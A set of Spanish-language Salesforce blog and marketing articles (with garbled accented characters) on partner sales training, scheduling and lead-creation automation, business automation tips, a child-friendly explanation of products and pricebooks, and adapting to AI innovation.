Explore el principal destino de aprendizaje y ampl铆e sus capacidades t茅cnicas y de ventas para satisfacer las necesidades de los clientes ahora y en el futuro.

Aumentar la oportunidad de servicios para socios

Salesforce realiz贸 algunos cambios importantes este a帽o para optimizar las soluciones de lanzamiento al mercado. El primer gran cambio es la tecnolog铆a y la innovaci贸n de productos. Atr谩s quedaron los d铆as de almacenamiento en silos en la nube y la venta de miles de SKU. Ahora estamos vendiendo conjuntos de productos que est谩n dise帽ados para satisfacer las necesidades de audiencias espec铆ficas. El enfoque en las personas de la audiencia nos permite producir ofertas m谩s integradas y brindarles a los clientes oportunidades para desbloquear el Salesforce Customer 360 completo.

Ahora, es m谩s f谩cil que nunca vender a trav茅s de Customer 360. Eso significa mayores ingresos y menor p茅rdida de clientes para los socios. Hay un efecto multiplicador significativo cuando un cliente tiene m谩s de una nube. A medida que aumenta su participaci贸n en Salesforce, tambi茅n puede ver una marcada disminuci贸n en el desgaste.

Los socios son clave para el 茅xito del cliente. Cuando nuestros socios participan estrat茅gicamente en el ciclo de ventas:

  • Las tasas de ganancias son 36 veces m谩s altas
  • El precio de venta promedio se incrementa 2x
  • Los socios implementan en promedio 4,5 veces los ingresos por licencias a trav茅s de sus servicios con nuestros clientes

鈥淟os socios que brindan valor, innovaci贸n y crecimiento m谩s r谩pido desbloquean el tipo de confianza de nuestros clientes que conduce a relaciones m谩s profundas鈥, dice Corfield.

Haga crecer sus capacidades de ventas de Salesforce para impulsar su 茅xito

El verdadero 茅xito de ventas no se trata solo de cumplir con las cuotas o realizar transacciones r谩pidas. Se trata de construir relaciones s贸lidas y duraderas con los clientes. Esto significa comprender sus necesidades 煤nicas y brindar soluciones personalizadas que agreguen valor y resuelvan los desaf铆os comerciales.

Salesforce tiene una gran cantidad de recursos para ayudarlo sin importar su rol de vendedor. Elija entre seminarios web interactivos breves y cursos a pedido en Partner Learning Camp (PLC). Disponibles para todos los socios de Salesforce, estos recursos est谩n dise帽ados para ayudarlo a impulsar el 茅xito de las ventas a lo largo del ciclo de vida del cliente.

Generaci贸n de demanda: aprenda el valor de Salesforce y obtenga informaci贸n sobre compradores 煤nicos con los seminarios web Sales Messaging 101 . Luego, ampl铆e sus conocimientos en el seminario web Creaci贸n de proyectos y calificaci贸n de clientes potenciales . Aprender谩 c贸mo comprender los puntos d茅biles de su cliente, involucrar a sus tomadores de decisiones y hacer avanzar la oportunidad.

Progresi贸n del trato: una vez que tenga una cartera saludable de clientes potenciales, es hora de sobresalir en el lanzamiento. Sales Kickstart ofrece una clase magistral completa para ayudarlo a perfeccionar su presentaci贸n. Durante tres medios d铆as, Kickstart ofrece capacitaci贸n personalizada para dar forma a su marco de presentaci贸n, ayudarlo a contar historias de clientes y vender en Customer 360. Esta capacitaci贸n tambi茅n est谩 disponible a pedido en PLC.

Entrada al mercado repetible: las personas que demuestren liderazgo en ventas en el ecosistema de socios pueden ser invitadas a convertirse en campeones de ventas de Salesforce . Es una oportunidad para obtener acceso a asesoramiento personalizado, preparaci贸n de lanzamientos y comentarios. En su tercer a帽o, Salesforce ha ayudado a su grupo 茅lite de campeones a obtener millones de d贸lares en proyectos. Los campeones gu铆an a los clientes sobre las opciones tecnol贸gicas correctas para el 茅xito y los ayudan a superar los desaf铆os comerciales y del mercado.

Reciba recompensas por enviar clientes potenciales

Cierre tratos m谩s r谩pido y a una tasa m谩s alta, desbloquee los beneficios de los socios, gane tarifas de referencia y desarrolle una asociaci贸n s贸lida con Salesforce.

Complemente sus capacidades con recursos t茅cnicos y de marketing  

Ampl铆e el impacto de sus capacidades de ventas de Salesforce aprovechando los siguientes recursos. Al hacerlo, desarrollar谩 sus capacidades t茅cnicas, acceder谩 a recursos de marketing y capacitaci贸n, y aprender谩 c贸mo llegar a sus clientes en el momento y lugar correctos.

Desarrolle experiencia t茅cnica: acceda a cursos y planes de estudios para mejorar sus capacidades t茅cnicas . Sum茅rjase en la capacitaci贸n disponible a trav茅s de Trailhead, Trailhead Academy, credenciales de Salesforce y Partner Learning Camp. Acceda a cursos espec铆ficos de funciones, como talleres impartidos por ingenieros de soluciones, para ingenieros de soluciones.

Llegue a sus clientes en el momento y el lugar correctos: el Centro de marketing para socios es una biblioteca de materiales gratuitos de marketing y ventas para ayudarlo a impulsar la demanda. Acceda a contenido gratuito, preconstruido y personalizable basado en la personalidad del comprador. Encontrar谩 recursos como libros de jugadas de campa帽a, copia de correo electr贸nico, mazos de ventas, guiones de llamadas y m谩s.

El programa de marketing de AppExchange puede ayudarlo a generar demanda, impulsar el 茅xito de los clientes y mejorar la visibilidad. Adem谩s, obtendr谩 oportunidades de marketing conjunto llave en mano con Salesforce.

Accelerate Grow puede ofrecerle m谩s entrenamiento pr谩ctico. Este programa acelerador virtual de 9 semanas puede ayudarlo a salir al mercado m谩s r谩pido y escalar el 茅xito de su empresa. Tendr谩 acceso a revisiones de listados personalizados, sesiones interactivas dirigidas por expertos y aprendizajes a pedido.

Ampl铆e sus operaciones de reventa: los revendedores pueden obtener una vista tras bambalinas sobre pron贸sticos, informes y el lado operativo de la gesti贸n del negocio. Esto est谩 disponible como un Bootcamp de reventa (que incluye Sales Kickstart) o como un taller de operaciones de reventa independiente.

Como socio de Salesforce, su excelencia en ventas impulsa la excelencia de la empresa. Puede maximizar el valor de su asociaci贸n desbloqueando un mundo de recursos para impulsar el 茅xito de ventas, expandir su base de clientes y prosperar en un mercado competitivo.

Salesforce est谩 abriendo camino hacia los 50.000 millones de d贸lares en ingresos para 2026. Somos la empresa de software empresarial de m谩s r谩pido crecimiento entre las cinco principales, y nuestros socios son fundamentales para ese crecimiento. Extienden la funcionalidad de la plataforma con aplicaciones personalizadas y ayudan a los clientes a implementar la tecnolog铆a. Junto con nuestros socios, crecemos, innovamos e invertimos en formas que ayudan a los clientes a transformar sus negocios.

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Desatando los superpoderes de administraci贸n de Salesforce: 隆Impulse la colaboraci贸n en equipo, sobrecargue la eficiencia, gesti贸n de datos maestros!

Desatando los superpoderes de administraci贸n de Salesforce: 隆Impulse la colaboraci贸n en equipo, sobrecargue la eficiencia, gesti贸n de datos maestros!

脷ltima actualizaci贸n el 31 de julio de 2023 por Rakesh Gupta

Durante la 煤ltima d茅cada, el papel de un administrador de Salesforce ha evolucionado dr谩sticamente, manteniendo el ritmo del panorama din谩mico de las ventas y la gesti贸n de las relaciones con los clientes. Lo que alguna vez fue principalmente una posici贸n de entrada de datos se ha convertido en un rol multifac茅tico que abarca la planificaci贸n estrat茅gica, el an谩lisis y la optimizaci贸n de procesos. A medida que las empresas reconozcan la importancia de Salesforce para impulsar el crecimiento y mejorar las experiencias de los clientes, los administradores proporcionar谩n un puente fundamental entre la tecnolog铆a y el 茅xito comercial.

Este art铆culo explorar谩 c贸mo los administradores pueden aprovechar la automatizaci贸n de procesos junto con el ecosistema de Salesforce para fomentar la colaboraci贸n en equipo, mejorar la eficiencia organizacional y mejorar la gesti贸n de datos.

Uso de la automatizaci贸n de correo electr贸nico de Salesforce para la programaci贸n

La automatizaci贸n del correo electr贸nico se utiliza para optimizar varios aspectos de la comunicaci贸n por correo electr贸nico con clientes potenciales y clientes dentro de la plataforma de Salesforce para garantizar una programaci贸n de citas r谩pida y eficiente. Permite a las empresas administrar de manera eficiente sus campa帽as de marketing y ventas por correo electr贸nico, la participaci贸n del cliente y las reservas.

En los 煤ltimos a帽os, la automatizaci贸n revolucion贸 los procesos de ventas y soporte al agilizar la reserva de citas, reducir la carga de trabajo manual y brindar a los clientes opciones convenientes de autoservicio. Actualmente, los administradores de Salesforce pueden aprovechar herramientas como SUMO Scheduler junto con flujos nativos y alertas por correo electr贸nico para enviar autom谩ticamente invitaciones a citas. Al crear disparadores que monitorean campos de datos espec铆ficos asociados con registros de contactos y lanzar flujos personalizados, los administradores pueden asegurarse de que los clientes potenciales siempre puedan programar citas, independientemente de la hora del d铆a o la ubicaci贸n.

Actualizaciones autom谩ticas de temas: haga que sus citas se destaquen

Las reuniones de cara al cliente son vitales para los equipos de ventas y soporte, y las citas perdidas o canceladas pueden afectar negativamente los objetivos estrat茅gicos y el resultado final. Los administradores de Salesforce pueden aprovechar las actualizaciones autom谩ticas de temas dentro de la programaci贸n de citas para reducir las cancelaciones de manera efectiva y aumentar la participaci贸n en las citas. Al implementar esta funcionalidad, los administradores pueden mejorar la comunicaci贸n, brindar claridad e infundir confianza en el proceso de citas para los clientes y la organizaci贸n.

Se puede activar una actualizaci贸n autom谩tica del tema para incluir detalles esenciales como la fecha, la hora, la ubicaci贸n y el prop贸sito de la cita al programarla. Este mensaje de confirmaci贸n sirve como recordatorio para el cliente y reduce las posibilidades de cancelaciones involuntarias o de no presentarse.

Las actualizaciones autom谩ticas de temas tambi茅n se pueden personalizar para atender a clientes individuales. Los administradores pueden incluir detalles personalizados, como el nombre del cliente o referencias de citas espec铆ficas, para captar su atenci贸n y crear una sensaci贸n de personalizaci贸n. Esto ayuda a fomentar una conexi贸n con el cliente y refuerza su compromiso con la cita.

Finalmente, en caso de cambios o actualizaciones en la cita, los administradores pueden usar actualizaciones autom谩ticas de temas para comunicar la informaci贸n revisada. Esto asegura que los clientes est茅n informados sobre cualquier modificaci贸n en tiempo real, minimizando la confusi贸n o la necesidad de cancelar debido a detalles desactualizados o inexactos.

Al permitir la flexibilidad en la programaci贸n y el mantenimiento de registros precisos dentro de Salesforce con la ayuda de l铆neas de asunto automatizadas, los administradores pueden optimizar de manera efectiva su proceso de ventas, mejorar la experiencia del usuario y fortalecer las relaciones con los clientes.

Uso de campos de correo electr贸nico flexibles para una mayor precisi贸n

La flexibilidad es clave para satisfacer las necesidades 煤nicas de los clientes, y los administradores de Salesforce pueden aprovechar el poder de los campos de correo electr贸nico para notificaciones personalizadas, sin importar cu谩n complejas sean. Esta personalizaci贸n permite una experiencia m谩s personalizada que cumple con requisitos espec铆ficos, como el cumplimiento normativo o las pol铆ticas internas.

En el contexto de Salesforce, los campos de correo electr贸nico se utilizan para recopilar y almacenar las direcciones de correo electr贸nico de los clientes. Estos campos aseguran que los datos ingresados sigan el formato adecuado, evitando entradas incorrectas o no v谩lidas. Las direcciones de correo electr贸nico recopiladas a trav茅s de estos campos se pueden usar para enviar recordatorios, actualizaciones, mensajes de seguimiento y otras notificaciones relacionadas con citas. Cada campo de correo electr贸nico act煤a como una medida confiable de capturar y utilizar informaci贸n de contacto para mejorar el compromiso y mantener canales de comunicaci贸n efectivos.

Los campos de correo electr贸nico de Salesforce pueden mejorar la precisi贸n al garantizar que la informaci贸n de contacto almacenada en CRM est茅 actualizada y sea confiable. Al utilizar campos de correo electr贸nico dedicados dentro de Salesforce, los representantes de ventas pueden capturar y almacenar direcciones de correo electr贸nico espec铆ficas de personas o entidades con precisi贸n. Esto ayuda a eliminar el riesgo de usar direcciones de correo electr贸nico desactualizadas o incorrectas asociadas con otros campos, como informaci贸n de contacto personal o comercial, lo que da como resultado comunicaciones por correo electr贸nico m谩s confiables, tasas de rebote reducidas y precisi贸n de datos mejorada.

Automatice la creaci贸n de clientes potenciales en Salesforce en el momento de la reserva

Las herramientas de programaci贸n nativas de Salesforce permiten a los equipos de ventas automatizar la creaci贸n de clientes potenciales, lo que garantiza una captura precisa de la informaci贸n y los datos demogr谩ficos de los clientes potenciales en el CRM. Al automatizar el proceso de creaci贸n de clientes potenciales tan pronto como se programa una cita, los administradores pueden ahorrar tiempo, mantener la integridad de los datos y evitar la redundancia. Los flujos automatizados agilizan el proceso y eliminan los errores de entrada manual. La precisi贸n mejorada y la colaboraci贸n entre las partes interesadas mejoran las tasas de conversi贸n de clientes potenciales y proporcionan datos confiables para informes y an谩lisis.

Para automatizar r谩pidamente la creaci贸n de clientes potenciales en Salesforce en el momento de la reserva, puede seguir estos pasos:

  1. Identifique el evento desencadenante : determine el evento o la acci贸n espec铆ficos que deben desencadenar la creaci贸n de clientes potenciales. En este caso, ser铆a la reserva de una cita.
  2. Configure un flujo de Salesforce : utilice el flujo de Salesforce para crear una regla que active el proceso de creaci贸n de clientes potenciales. Especifique los criterios para cu谩ndo debe activarse el flujo, como cuando se reserva una nueva cita.
  3. Definir asignaci贸n de campos : configure la asignaci贸n de campos para asegurarse de que la informaci贸n relevante de la cita se transfiera correctamente al registro de clientes potenciales. Puede asignar campos como el nombre del participante, la informaci贸n de contacto, los detalles de la cita y otros puntos de datos relevantes.
  4. Crear el registro de prospecto : configure Salesforce Flow para crear un nuevo registro de prospecto con los datos asignados. Aseg煤rese de que todos los campos obligatorios est茅n completos y que el registro de cliente potencial est茅 asociado con la campa帽a o la fuente adecuada.
  5. Probar y validar : pruebe el proceso automatizado de creaci贸n de clientes potenciales reservando una cita de muestra y verificando que el registro de clientes potenciales se cree con los datos esperados. Valide que el registro de prospectos aparezca en la cola de prospectos designada o en las reglas de asignaci贸n.
  6. Supervisar y perfeccionar : Supervise continuamente el proceso de automatizaci贸n de creaci贸n de clientes potenciales para garantizar su eficacia y precisi贸n. Realice los ajustes o mejoras necesarios en funci贸n de los comentarios, los cambios en los requisitos comerciales o los problemas de calidad de los datos.

Al automatizar la creaci贸n de clientes potenciales en Salesforce en el momento de la reserva, los representantes de ventas y los administradores pueden ahorrar tiempo, garantizar la precisi贸n de los datos y mantener un proceso de gesti贸n de clientes potenciales optimizado. Esta automatizaci贸n facilita la captura eficiente de clientes potenciales, reduce el esfuerzo manual y mejora la productividad del equipo de ventas.

Conclusi贸n:

Los flujos de programaci贸n automatizados, junto con las poderosas capacidades de SUMO Scheduler, simplifican y mejoran los procesos de trabajo, ahorran tiempo, reducen errores y mejoran la satisfacci贸n del cliente. Al adoptar la automatizaci贸n, los administradores de Salesforce pueden impulsar mejoras significativas en la eficiencia, la productividad y el rendimiento comercial general. La optimizaci贸n de los procesos de programaci贸n y el aprovechamiento de los flujos de automatizaci贸n en Salesforce con SUMO Scheduler es una combinaci贸n ganadora para las empresas que buscan optimizar sus operaciones. 隆Adopte la revoluci贸n de la automatizaci贸n hoy e impulse a su equipo de ventas a nuevos niveles de 茅xito!

Haga clic aqu铆 para visitar SUMO Scheduler en Salesforce AppExchange y obtener m谩s informaci贸n sobre el poder de la programaci贸n autom谩tica de autoservicio .

Evaluaci贸n formativa:

隆Quiero saber de ti!

驴Qu茅 es una cosa que aprendiste de esta publicaci贸n? 驴C贸mo imagina aplicar este nuevo conocimiento en el mundo real? Si茅ntase libre de compartir en los comentarios a continuaci贸n.

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5 consejos para incorporar la automatizaci贸n en su negocio

5 consejos para incorporar la automatizaci贸n en su negocio

Seamos realistas: el trabajo mundano y repetitivo puede ser un lastre. De hecho, el 77 % de los trabajadores de escritorio dicen que la automatizaci贸n de las tareas rutinarias mejorar铆a su productividad. Sin embargo, el 52% de las empresas todav铆a tienen demasiados procesos y tareas manuales. La automatizaci贸n empresarial puede ser la clave para cerrar esta brecha.

La automatizaci贸n empresarial conduce a clientes leales , empleados m谩s felices, mejor eficiencia y ahorro de costos. 驴Y qu茅 mejor manera de trazar un camino hacia la automatizaci贸n empresarial que aprender de aquellos que ya lo han hecho? 驴No est谩 seguro de por d贸nde empezar con la automatizaci贸n? Esto ayudar谩 .

En un informe para Salesforce , IDC entrevist贸 a m谩s de 1600 l铆deres empresariales y de TI, en varias industrias en Asia, Europa, Am茅rica del Norte y Am茅rica del Sur, sobre c贸mo han tenido 茅xito con la automatizaci贸n en sus empresas. A partir de esta investigaci贸n de IDC, aqu铆 hay cinco consejos que puede usar para ayudar a incorporar la automatizaci贸n en su propia pr谩ctica.

Acelere la automatizaci贸n como los profesionales

Escuche a m谩s de 1600 l铆deres empresariales y de TI de todo el mundo sobre las tendencias de automatizaci贸n y lo que pueden hacer por su empresa.

Tabla de contenido

Sugerencia 1: Genera impulso en un 谩rea y luego expande a toda la empresa
Consejo 2: Cree un centro de automatizaci贸n de excelencia
Consejo 3: automatice los flujos de trabajo de TI para ayudar a los departamentos de TI sobrecargados
Consejo 4: utilice un enfoque 谩gil para la automatizaci贸n empresarial
Sugerencia 5: use c贸digo bajo para acelerar el tiempo de comercializaci贸n

Sugerencia 1: Genera impulso en un 谩rea y luego expande a toda la empresa

Los mejores procesos candidatos tienen pasos repetitivos, un alto volumen de tareas y datos de m煤ltiples sistemas. Elegir un proceso maduro que haya sido probado y ajustado con el tiempo es su mejor apuesta. Si un proceso cambia con frecuencia o implica un an谩lisis cualitativo, probablemente no sea un buen candidato para la automatizaci贸n. Estos son los pasos para ayudarlo a comenzar.

1. Investiga

Para empezar, deber谩 determinar:

  • Qu茅 proceso quieres transformar
  • Cu谩nto se tarda
  • Personas y departamentos involucrados
  • Sistemas y datos que posibilitan el proceso

2. Cuantificar los costos

Sume los costos del proceso que desea automatizar en todos los departamentos involucrados o afectados. Algunas cosas para pensar en este paso:

  • 驴Cu谩nto m谩s le cuestan las ineficiencias en tiempo extra del personal?
  • 驴Est谩 pagando por env铆os acelerados?
  • 驴Est谩 contabilizando las horas extra de los contratistas?
  • 驴Existen costes negativos en la experiencia del cliente?

3. Definir el estado deseado

Para definir su estado deseado, deber谩 ingresar a los detalles de su proceso automatizado. Aqu铆 hay algunas preguntas para hacer:

  • 驴C贸mo ser谩 su nuevo proceso?
  • 驴Qui茅n deber铆a estar involucrado?
  • 驴Cu谩nto tiempo debe tomar el proceso automatizado?

Recuerde incorporar los comentarios de los clientes en este paso.

4. Elige las herramientas adecuadas

Al elegir herramientas de automatizaci贸n empresarial, es importante seleccionar proveedores con una reputaci贸n estelar en procesos comerciales y automatizaci贸n de flujos de trabajo, que tambi茅n pueden actuar como sus asesores comerciales de confianza. Algunas preguntas para empezar a rodar:

  • 驴Qu茅 dicen los clientes (o clientes descontentos) sobre las herramientas?
  • 驴Tiene las caracter铆sticas que su equipo necesita para tener 茅xito?
  • 驴Ofrece incorporaci贸n y atenci贸n al cliente durante toda la vida 煤til del servicio?

SUGERENCIA PROFESIONAL: aseg煤rese de que la herramienta integre sus datos existentes y automatice los procesos con clics en lugar de una codificaci贸n extensa.

5. Probar, implementar, evaluar

Ahora que ha seleccionado una herramienta y automatizado su proceso, est谩 listo para comenzar. Por supuesto, deber谩 probar su nuevo proceso antes de implementarlo. As铆 es como descubrir谩 si necesita refinarlo o modificarlo.

Finalmente, haga un balance de las mejoras en las medidas clave. Considere estas preguntas:

  • 驴Cu谩nto tardan los usuarios en completar los flujos de trabajo automatizados?
  • 驴La experiencia del usuario o del cliente est谩 a la altura de sus expectativas?
  • 驴Sigue siendo el costo un problema?

Consejo 2: Cree un centro de automatizaci贸n de excelencia

Un centro de excelencia de automatizaci贸n (COE) puede marcar la diferencia en su viaje hacia la transformaci贸n digital . El objetivo del COE es supervisar el desarrollo y el lanzamiento de sus esfuerzos de automatizaci贸n . Invite a personas clave de TI y del negocio para ayudar a tomar las mejores decisiones para el futuro.

As铆 es como puede configurar su COE de automatizaci贸n para el 茅xito:

  1. Elige el equipo adecuado. Seleccione a las partes interesadas que adopten el cambio y est茅n listas para defender las mejoras del proceso. Aseg煤rese de incluir un director de proyecto y al menos un patrocinador ejecutivo.
  2. Desarrollar un marco de automatizaci贸n. Para optimizar su inversi贸n en automatizaci贸n, el COE debe establecer un marco para personas, procesos, sistemas e infraestructura.
  3. Defina una hoja de ruta de automatizaci贸n. La automatizaci贸n empresarial no es un evento singular. Cree una hoja de ruta de automatizaci贸n, un plan de alto nivel que describa los pasos necesarios para implementar pruebas automatizadas, y obtenga la aprobaci贸n de las partes interesadas clave.
  4. Ejecutar flujos de trabajo de automatizaci贸n . Esta es la parte t谩ctica del trabajo del COE. Identifique los puntos d茅biles, prior铆celos y supervise la automatizaci贸n de procesos.
  5. Mide el 茅xito. Establezca indicadores clave de rendimiento (KPI) para medir el impacto en la experiencia de los empleados y los clientes, la eficiencia operativa y la rentabilidad.

Consejo 3: automatice los flujos de trabajo de TI para ayudar a los departamentos de TI sobrecargados

Aunque los recursos de TI de calidad son dif铆ciles de encontrar, la acumulaci贸n de proyectos sigue aumentando. Recientemente descubrimos que a los departamentos de TI se les pide que entreguen un 41 % m谩s en 2023 que en 2022.

La automatizaci贸n de procesos de TI repetitivos alivia al personal de TI sobrecargado de trabajo y lo libera para expandir sus esfuerzos en toda la empresa.

Aqu铆 hay algunos procesos con los que la automatizaci贸n empresarial puede ayudar, para diferentes equipos:

  • Operaciones de TI : monitoreo de sistemas, seguridad de red, implementaci贸n de infraestructura
  • Servicios de TI : soporte al usuario final, aprovisionamiento de software, soporte de software
  • Gesti贸n de activos : aprovisionamiento de activos, desmantelamiento, auditor铆a, informes
  • Gesti贸n de datos : copia de seguridad y redundancia de datos, limpieza de datos

驴Qui茅n debe participar de TI? Esto es lo que dijeron los responsables de la toma de decisiones sobre automatizaci贸n:

  • 72% dijo que los desarrolladores de TI
  • 65% dijo operaciones de TI
  • 49% dijo administradores de aplicaciones
  • 42% dijo integradores de sistemas

La TI juega un papel fundamental para asegurarse de que se implementen la estrategia y la visi贸n del negocio. Trabajando en estrecha colaboraci贸n con TI, pasamos de 6 a 12 meses de nuestro tiempo de comercializaci贸n con nuestros sistemas a solo d铆as con una nueva experiencia de automatizaci贸n.

Director de la divisi贸n de gesti贸n patrimonial,
servicios financieros

Automatizaci贸n: tendencias, desaf铆os y mejores pr谩cticas , IDC

Consejo 4: utilice un enfoque 谩gil para la automatizaci贸n empresarial

El enfoque tradicional de 鈥渃ascada鈥, en el que el an谩lisis, la especificaci贸n, el dise帽o y las pruebas se realizan de forma secuencial, no funciona bien para la automatizaci贸n empresarial. Con el enfoque en cascada, es posible que se encuentre cerca de la implementaci贸n cuando surja un problema grave, como un dise帽o que no se puede escalar.

La metodolog铆a 谩gil enfatiza el trabajo en equipo multifuncional y las pruebas continuas. Y aunque la mayor铆a de los desarrolladores de software la usan, la metodolog铆a 谩gil no es solo para desarrolladores. Su ciclo continuo de planificaci贸n, ejecuci贸n, evaluaci贸n y mejora se puede aplicar a la automatizaci贸n de procesos comerciales. Una de sus mayores ventajas es que re煤ne equipos multifuncionales que planifican, prueban, implementan y redise帽an procesos automatizados en ciclos de liberaci贸n r谩pida.

C贸digo bajo, mucho tiempo de comercializaci贸n

Elija una plataforma de c贸digo bajo que funcione para usted. Nuestra gu铆a lo desglosa todo y describe claramente lo que necesita para comenzar a innovar hoy.

Sugerencia 5: use c贸digo bajo para acelerar el tiempo de comercializaci贸n

驴A qui茅n no le gusta una integraci贸n empresarial y de TI m谩s estrecha? Sin embargo, solo el 56 % de las organizaciones utilizan soluciones de c贸digo bajo , un enfoque de desarrollo que requiere poca o ninguna codificaci贸n para crear aplicaciones y procesos, para potenciar la automatizaci贸n.

El desarrollo de software tradicional es largo y costoso. Con una plataforma de desarrollo de aplicaciones de bajo c贸digo ( LCAP ), los usuarios empresariales y de TI pueden desarrollar aplicaciones y flujos de trabajo automatizados a trav茅s de una interfaz gr谩fica de usuario ( GUI ) amigable. Esto puede marcar la diferencia cuando el personal de TI est谩 sujeto a presiones o restricciones.

Hay una raz贸n m谩s para optar por el c贸digo bajo. Los esfuerzos de automatizaci贸n empresarial abarcan negocios y TI. Usando c贸digo bajo, los usuarios comerciales pueden trabajar en estrecha colaboraci贸n con TI para desarrollar modelos de datos y l贸gica de procesos con solo hacer clic.

Primeros pasos con la automatizaci贸n empresarial

La automatizaci贸n empresarial no tiene por qu茅 ser complicada. Con los consejos que ha aprendido, puede comenzar a implementar flujos de trabajo de automatizaci贸n hoy mismo . Al desarrollar un 谩rea, crear un COE, automatizar para sus equipos de TI y usar un enfoque 谩gil y c贸digo bajo, tiene un comienzo saludable para un proceso de automatizaci贸n empresarial exitoso. Ahora ve a automatizar.

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Aprenda Salesforce Like I Am 10 Producto, libro de precios, entrada de libro de precios, activo

Aprenda Salesforce Like I Am 10 Producto, libro de precios, entrada de libro de precios, activo

Un rect谩ngulo amarillo y azul con texto negro Descripci贸n generada autom谩ticamente

隆Bienvenidos a la helader铆a Emma's Flavourland, un lugar de pura magia deliciosa del helado! Imag铆nese entrando en un pa铆s de las maravillas de sabores y diversi贸n, donde cada primicia es pura delicia.

Nosotros aprenderemos:

Pero todo divertido, como aprender ABC. woo-hoo!

Para realizar un seguimiento de todos sus deliciosos helados, Emma utiliza Salesforce. Puedes pensar en 茅l como un libro m谩gico que la ayuda a organizar sus sabores de la manera m谩s sorprendente. Con Salesforce, anota los nombres y las descripciones de los tipos, e incluso agrega im谩genes coloridas a un objeto de Salesforce. Piense en ello como una tabla llamada 'Producto'.

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

Libro de precios

Para administrar sus estrategias de precios, utiliz贸 la funci贸n "Libros de precios" de Salesforce, que le permiti贸 crear diferentes tipos de listas de precios.

En su 鈥淟ibro de precios est谩ndar鈥, Emma enumer贸 los precios regulares de sus sabores de helado. Estos fueron los precios que la mayor铆a de los clientes pagaron cuando visitaron su tienda.

En la tabla Libro de precios, encontrar谩 el Nombre del libro de precios, como el Libro de precios est谩ndar y el Libro de precios especial para ni帽os y la Descripci贸n del Libro de precios.

Emma tambi茅n quer铆a que su helado fuera m谩s asequible y emocionante para los ni帽os. Entonces, cre贸 un libro de precios especiales llamado "Libro de precios especiales para ni帽os". En este libro de precios, agreg贸 precios con descuento exclusivamente para ni帽os.

Un cuadro rectangular amarillo y azul con l铆neas blancas Descripci贸n generada autom谩ticamente

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

Tenga en cuenta que Pricebook en s铆 no tiene los precios indicados para el helado, para esto tenemos Price Book Entry.

Entrada de la lista de precios

Para conectar los sabores de helado, es decir, los productos con sus respectivos libros de precios, es decir, el libro de precios est谩ndar y el libro de precios especial para ni帽os, Emma crea entradas en el libro de precios. Puede pensar que PriceBook Entry es el amigo com煤n que conecta Product y Pricebook entre s铆.

Aqu铆 el Producto es S煤per Fresa y est谩 conectado a PriceBook Est谩ndar y Especial para Ni帽os con la ayuda de PriceBook Entry.

Personajes de dibujos tomados de la mano Descripci贸n generada autom谩ticamente

Venta basada en productos

En la helader铆a Flavourland de Emma, ofrece sabores de helado individuales y paquetes de helados especiales para sus clientes. Esto se llama Venta basada en productos.

Un p贸ster de helader铆a Descripci贸n generada autom谩ticamente

Venta basada en servicios

A medida que la marca de helados de Emma se expande, ella presenta el "Catering de helados" como un servicio exclusivo. La belleza de este servicio es que no tiene que preocuparse por la log铆stica. El equipo de Emma se encarga de instalar, servir y limpiar despu茅s. Todo lo que necesitas hacer es sentarte y disfrutar de la celebraci贸n.

Caricatura de una persona sosteniendo un cono de helado Descripci贸n generada autom谩ticamente

Activo

Un producto, en este caso, se refiere a los deliciosos sabores de los helados y un Activo es la Helader铆a y el Carrito de Helados que ayuda a Emma a vender su Helado sin problemas.

Una tienda rosa con un letrero Descripci贸n generada autom谩ticamente

Yay… Aprendemos producto, libro de precios, entrada de libro de precios, venta basada en productos, venta basada en servicios y activos de la manera m谩s dulce posible.

Un grupo de ni帽os bailando Descripci贸n generada autom谩ticamente

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Aprenda Salesforce como si tuviera 10 a帽os: producto, libro de precios, entrada del libro de precios, activo

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La innovaci贸n en IA lleg贸 para quedarse: c贸mo mantenerse al d铆a

La innovaci贸n en IA lleg贸 para quedarse: c贸mo mantenerse al d铆a

Algunos de ustedes pueden ser esc茅pticos sobre la exageraci贸n que rodea a la IA, descart谩ndola como otra palabra de moda usada en exceso. Pero dentro de la industria tecnol贸gica, creemos que esta revoluci贸n tecnol贸gica tendr谩 un profundo impacto en la vida de las personas. Lo que distingue a esta ola de cambio es su naturaleza continua y en constante evoluci贸n.

Si bien la IA ha estado presente durante a帽os, ahora est谩 alcanzando nuevas alturas. El aprendizaje profundo y la capacidad de la IA para imitar las capacidades humanas est谩n impulsando la innovaci贸n de la IA. Estos avances han transformado lo que antes se consideraba imposible en una realidad tangible. Para mantenerse al d铆a con estos desarrollos, es crucial considerar las siguientes estrategias.

Impulse la transformaci贸n continua con la Oficina de
Innovaci贸n continua

Los servicios profesionales de Salesforce pueden ayudarlo a elevar sus capacidades para obtener el m谩ximo valor de su inversi贸n en Salesforce.

Abraza lo nuevo

El Foro Econ贸mico Mundial informa que casi una cuarta parte de todos los trabajos sufrir谩n cambios significativos en los pr贸ximos cinco a帽os. Esta estad铆stica asombrosa destaca la necesidad urgente de mejorar las habilidades, ya que el 44% de las habilidades dentro de esos trabajos deber谩n adaptarse. El crecimiento exponencial de las posibilidades debido a la innovaci贸n de la IA es evidente cada d铆a que pasa.

Para prosperar en esta nueva era, los l铆deres en el acelerado entorno empresarial actual deben enfrentarse a una complejidad y turbulencia sin precedentes. La velocidad del cambio ha superado nuestra capacidad individual para mantenernos al d铆a. Adoptar nuevas tecnolog铆as como la IA es esencial para el 茅xito y mantenerse a la vanguardia. En lugar de buscar la estabilidad, debemos adoptar lo contrario y aprovechar el poder de los datos, la IA y los circuitos de retroalimentaci贸n en tiempo real para mejorar nuestra toma de decisiones estrat茅gicas.

Ahora, exploremos pasos pr谩cticos para adoptar esta nueva realidad:

  • Potencie la creatividad con IA generativa : use su capacidad para producir ideas, dise帽os y contenido innovadores. Puede aprovechar grandes cantidades de datos y generar soluciones creativas que antes eran inimaginables. Al hacerlo, podr谩 mantenerse a la vanguardia en un mercado de innovaci贸n de IA que evoluciona r谩pidamente. Tambi茅n podr谩 explorar trabajos m谩s imaginativos y de valor agregado al automatizar tareas repetitivas y liberar tiempo.
  • Reconsidere su papel en la era de la innovaci贸n de la IA : la mayor铆a de los trabajadores del conocimiento no podr谩n hacer su trabajo sin el apoyo de la IA. Necesitar谩n aprender estas habilidades en muy poco tiempo. La IA exigir谩 que reconsideremos nuestro papel en la autor铆a, la ideaci贸n y la resoluci贸n de problemas.
